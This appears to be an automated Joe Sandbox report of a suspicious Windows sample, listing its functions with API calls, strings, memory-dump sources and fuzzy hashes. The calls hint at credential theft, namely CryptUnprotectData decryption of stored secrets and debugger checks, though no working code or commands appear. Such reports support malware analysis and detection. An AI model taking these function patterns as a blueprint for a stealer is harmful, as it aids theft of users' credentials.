API ID: memset
String ID: ~qnl
API String ID: 2221118986-1089298830
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 225cf469948277b3293f04890ea6fff98903a0be836f00db106b995d1d20a903
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 98B10772E4021ACFDB14CF68CD807A9B7B2EF95314F5802A9C449DB781DB30A996CB90

Function 6C75542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C7588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C75925C

Strings

~qnl, xrefs: 6C759459, 6C755740, 6C759269, 6C75921F, 6C755703, 6C7556C7, 6C75948F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset
String ID: ~qnl
API String ID: 2221118986-1089298830
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 36a3d7bcf72eb7982280e07cb13337a955beb34b246c5cd4bcd83eccb78abbac
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 48B1E572E4020ACFDB14CE58C9806ADB7B2EF94314F584279C959DB785DB30A99ACB90

Function 00409B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Strings

>O@, xrefs: 00409B24, 00409B31, 00409B49, 00409B68, 00409B34, 00409B6B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction ID: 421755d6b48e33095a5169d11db47f4caeee54bd02e7bdd1b67a963d2e3b7d6d
Opcode Fuzzy Hash: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction Fuzzy Hash: 7F11C074240308AFEB10CF64CC95FAA77B6FB89710F208059F9199B3D0C7B5A942CB54

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 00407280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0), ref: 0040728D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CD0,80000001,00415CA4), ref: 004072E4
LocalFree.KERNEL32(?,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 004072EE

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction ID: 878b0d7115cd8d43870734417daae2c605d8a0a5a409213b4f7418bdd2279ebf
Opcode Fuzzy Hash: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction Fuzzy Hash: 31014071A40208BBDB10DF94CC46F9E7779BB44700F204055FB05BB2D0D6B0AA019BA9

Function 00418940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction ID: 8551c2f8eff3d936ade43cc3e5b46360b1bd8edc09fa8c17659182bc6519fa86
Opcode Fuzzy Hash: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction Fuzzy Hash: DF1118B5220209FFDB14CF54D884FBB37A9AF99314F109549F9098B250DB79EC82CB69

Function 00417420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
wsprintfA.USER32 ref: 00417493

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction ID: 50de9df5f87ad77eb031dc94815d0013ed19ce73efbeceace7c97849f90fee7e
Opcode Fuzzy Hash: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction Fuzzy Hash: 82113CB2904518ABCB14DFC9DD45FBEB7B9FB4CB11F10411AF605A2290D3795941C7B4

Function 6C726CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C726D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C726E1E

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: d1bbbd9bfaa800b4ac017727766de249e5d5c3b65f0f85c75e3e3e1e2add8591
Instruction ID: bd747f582258199f835b5a7806ed4899f5e903b11770924aa3a9b54f2a218a1a
Opcode Fuzzy Hash: d1bbbd9bfaa800b4ac017727766de249e5d5c3b65f0f85c75e3e3e1e2add8591
Instruction Fuzzy Hash: 55A193746183848FDB25CF24C5887AEFBE1BF89304F44492EE48A87751DB74E949CB92

Function 6C704640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C704777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C705585, 6C7055A8, 6C7055C3, 6C705624

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: acaab58f99d946d770a3099c6dc1b4f5259a5d3face54d753064861530cd380e
Instruction ID: 52d6ba49811d3a585c478134eb1fbadb42aabead6510d140cc8b5d8fdd6eebd0
Opcode Fuzzy Hash: acaab58f99d946d770a3099c6dc1b4f5259a5d3face54d753064861530cd380e
Instruction Fuzzy Hash: 8BB27DB1B05A018FC708CF19C690715BBE2BFD5328B29C76DE4698B7A5D771E841CB84

Function 6C7485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C748C7C
__aulldiv.LIBCMT ref: 6C748DD7

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 127944d5133ebf53b378cc27a0b498832e148f9f8d105c6052b7ea37c411712f
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A5326A31F4121D8BDB18CE9CC9A17AEB7B2FB88300F15853AD506FB792DA349D458B91

Function 6C7576E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qnl, xrefs: 6C7579FB, 6C757E0B, 6C75793C, 6C7579C0, 6C757796, 6C757B0B

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: ~qnl
API String ID: 0-1089298830
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 88063b2637190710fad4e5aa55db2256026b844af6f331511e626ee4f482a65b
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 97322971E106198FCB14CF99C980AADFBF2FF88304FA48169C949A7745D731A996CF90

Function 6C756E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qnl, xrefs: 6C7579FB, 6C757E0B, 6C757C03, 6C75793C, 6C7579C0, 6C757B0B, 6C757C72

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: ~qnl
API String ID: 0-1089298830
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2a80a1a5789810a5b6b3e1de97e3ae2d4118fe2f01f38bd1cf7118eca219ad48
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5422F875E102198FCB14CF98C980AADF7F2FF88304F6485A9C549A7745DB31A996CF90

Function 6C725C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C6F4A63,?,?), ref: 6C725F06

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b967244d679fd28099617d1643a6ccecb3566602b6d243764adb4db21ec80117
Instruction ID: a8bb22e5d90a98565aa505e32deeecc0efb4e7eb3dcf74b9e2c7a13a4019e275
Opcode Fuzzy Hash: b967244d679fd28099617d1643a6ccecb3566602b6d243764adb4db21ec80117
Instruction Fuzzy Hash: C9C1E375D012098BCB14CFA5D2906EEBBF2FF89318F28816DD8556BB49D736A845CF80

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 6C710512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7125d0f83e55f62a8d3e6fc175d224ab08b9884009bb9dd8885dd7c62a478314
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: F5221871E04659CFCB14CF98C990A9DF7B2FF89304F5881A9D54AABB05D730A985CF80

Function 6C75AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c634a32debf8d94d6a6e11818d6d90ba32e17a54ad73b1e3e4b7c6643d0c0b70
Instruction ID: 04ad95f213b15aee98e345c194212b1d920abcb4e0000b18f35d78a8ba231799
Opcode Fuzzy Hash: c634a32debf8d94d6a6e11818d6d90ba32e17a54ad73b1e3e4b7c6643d0c0b70
Instruction Fuzzy Hash: F8F18B71A083454FD700CE28C9813BAB7E2AFC5328F958A3DE4D5877C1EB75D85487A2

Function 6C6EC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 84e5e26d9d762472f8a9bdbfb626a7faac472aa4c60a28920c66f78807d53f85
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: DDA1A171F0521A9BDB08CE69C8913AEBBF2AFCD354F18812AD916E7781D7345C068B90

Function 00419160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
